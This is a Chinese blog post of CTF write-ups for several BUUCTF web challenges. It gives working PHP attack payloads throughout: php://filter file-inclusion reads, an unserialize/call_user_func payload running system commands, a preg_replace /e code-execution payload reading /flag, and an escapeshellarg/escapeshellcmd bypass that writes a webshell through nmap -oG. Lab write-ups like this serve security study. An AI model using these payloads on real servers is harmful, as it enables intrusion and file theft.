首页 > 其他分享 >BUUCTF-WEB(36-40)

BUUCTF-WEB(36-40)

时间:2024-05-26 14:55:27浏览次数:21  
标签:WEB BUUCTF 172.17 text 36 flag func php

[BSidesCF 2020]Had a bad day

参考:

[BUUCTF:BSidesCF 2020]Had a bad day_末初的技术博客_51CTO博客

[buuctf-BSidesCF 2020]Had a bad day(小宇特详解)-CSDN博客

应该是文件包含

image-20240524193501018

我这里使用;1,然后报错,我发现他是直接会加上一个.php,那我们试试伪协议读取

?category=php://filter/read=convert.base64-encode/resource=index

image-20240524193659363

base64解码出

<?php
			$file = $_GET['category'];
			if(isset($file))
			{
				if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
					include ($file . '.php');
				}
				else{
					echo "Sorry, we currently only support woofers and meowers.";
				}
			}
			?>

这个代码里面必须含有 woofers,meowers, index

然后我们就试着包含一下flag

?category=meowers/../flag

发现源码多了

image-20240524194233169

那接下来我们就是读取,仍旧使用php://

php://filter/read=convert.base64-encode/woofers/resource=flag

解码得到

image-20240524194727771

[网鼎杯 2020 朱雀组]phpweb

参考:

v (cnblogs.com)

image-20240524200447722

抓包发现还穿了这两个参数

然后发现是call_user_func()函数去命令执行

我们可以输入

func=file_get_contents&p=index.php

去看这个代码的文件

image-20240524201114662

可以构造反序列化

image-20240524201734778

然后payload

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

然后根目录也找不到flag,我们就用find,这里要url编码,然后用get传输,防止一些字符没用成功输入进去

<?php
class Test {
        var $p = "find / -name flag*";
        var $func = system;
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
 }
$a=new Test();
echo serialize($a);
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:17:"find -name /flag*";s:4:"func";s:6:"system";}

image-20240524202355411

最后查看flag的payload如下:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

image-20240524202545840

[BJDCTF2020]ZJCTF,不过如此

参考:

PHP正则表达式的逆向引用与子模式分析_php正则表达式 用子模式分组模式-CSDN博客

[BJDCTF2020]ZJCTF,不过如此 - L0VEhzzz - 博客园 (cnblogs.com)

[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此1-CSDN博客

[BJDCTF2020]ZJCTF,不过如此 - LLeaves - 博客园 (cnblogs.com)

点开就是代码

image-20240526103205000

我们分析一下,我们需要传入两个参数 一个 text 一个 file

file_get_contents去读取文件内容,它需要等于I have a dream,我们就自己写入这句话,用data://text/plain

然后file应该去读取next.php源码,这里我是用的是php://filter

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

然后获得了next.php的源代码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

到这里的话也是gg不会了

存在漏洞的地方就是在preg_replace的/e模式下,他会把第二个参数作为php代码执行

了解一下反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

然后就是用\S*={getFlag()}然后配上命令执行

/?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

image-20240526123450995

[BUUCTF 2018]Online Tool

参考:

[BUUCTF 2018]Online Tool - My_Dreams - 博客园 (cnblogs.com)

[buuctf-BUUCTF 2018]Online Tool(小宇特详解)_[buuctf 2018]online tool 1 php rce-CSDN博客

[BUUBUUCTF 2018]Online Tool - 哔哩哔哩 (bilibili.com)

image-20240526134504713

这边了解一下escapeshellarg()以及escapeshellcmd()

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
?host=' <?php echo `cat /flag`;?> -oG test.php '

image-20240526141838876

访问这个Starting前面这个/test.php

image-20240526141919804

[GXYCTF2019]禁止套娃

开局就是天崩,没啥东西

image-20240526142907739

dirsearch扫了一下也是没发现什么东西

有可能是git泄露,用githack试试

image-20240526143535502

然后我这也扫描不到,挺奇怪的,这道题放一放

标签:WEB,BUUCTF,172.17,text,36,flag,func,php
From: https://www.cnblogs.com/Muneyoshi/p/18213672

相关文章

  • 软件工程日报036
     第一天第二天第三天第四天第五天所花时间(包括上课) 2h    代码量(行) 50    博客园(篇) 1    所学知识 相机控制-视角跟随和视角拉近拉远    ......
  • Python中Web开发-FastAPI框架
            大家好,在当今Web开发领域,高性能、易用性和可扩展性是开发者们追求的目标。Python作为一种流行的编程语言,在Web开发领域也有着强大的影响力。而在众多的PythonWeb框架中,FastAPI凭借其快速、现代和易用的特性,成为了开发者们的首选之一。本文将深入探讨FastAPI......
  • Day36 代码随想录打卡|二叉树篇---翻转二叉树
    题目(leecodeT226):给你一棵二叉树的根节点 root ,翻转这棵二叉树,并返回其根节点。方法:迭代法翻转二叉树,即从根节点开始,一一交换每个节点的左右孩子节点,然后递归此过程,将根节点的左右孩子节点再分别作为参数传入交换节点的函数中。重复此过程,直到结束。就完成了二叉树的翻......
  • 2024web网页源码大学生网页设计制作作业实例代码 (全网最全,建议收藏) HTML+CSS+JS
    文章目录......
  • Web大学生网页作业成品:个人博客主页 (纯HTML+CSS代码)
    ......
  • 249. 火锅美食响应式网页设计实例 大学生期末大作业 Web前端网页制作 html+css+js
    目录博主寄语二、网页文件 三、网页效果四、代码展示1.html2.CSS3.JS五、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强六、更多推荐博主寄语火锅美食响应式网页设计实例,应用html+css+js:Div、导航栏、图片轮翻效果、注册登录页面、等。适用于大......
  • 【信息安全】Web 网络安全纵观与前景分析
    Web网络安全纵观与前景分析在此之前,欢迎关注波比网络培训、环境、资料、考证波比网络官方公众号:blbinet波比网络工作室官方公众号:blbistudio获取技术支持访问:https://www.blbi.cn/form/1/select技能大赛各赛项交流群:https://www.blbi.cn/threads/40/更多正式......
  • 244. 高端大气的蛋糕点响应式网页设计实例 大学生期末大作业 Web前端网页制作 html+cs
    目录前言一、网页概述二、网页文件 三、网页效果四、代码展示1.html2.CSS五、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强六、更多推荐前言高端大气的蛋糕点响应式网页设计实例,应用html+css:Div、导航栏、图片轮翻效果、登录页面等。适用于大......
  • BUUCTF-Misc(41-50)
    秘密文件对ftp的数据进行追踪流找到里面被偷走了一个压缩包,然后我们暴力破解解压得到flag[BJDCTF2020]鸡你太美参考:[BUUCTF:BJDCTF2020]鸡你太美_buuctf鸡你太美-CSDN博客篮球的gif篮球副本.gif发现少了47494638我们给文件头补全flag{zhi_yin_you_are_beautif......
  • [基础]tfcenter mount将Webdav服务挂载成本地磁盘(可显示使用空间)
    1、下载tfcentermount软件(1)点击官网 tfcenter官网 后下载挂载软件(2)以windows挂载为例,下载windows软件包(3)解压软件包,如下图所示2、配置tfcenter挂载(1)以管理员方式运行上图的tfcenter-mount.bat文件选择1安装tfcentermount服务到系统中选择3启动tfcentermount服务......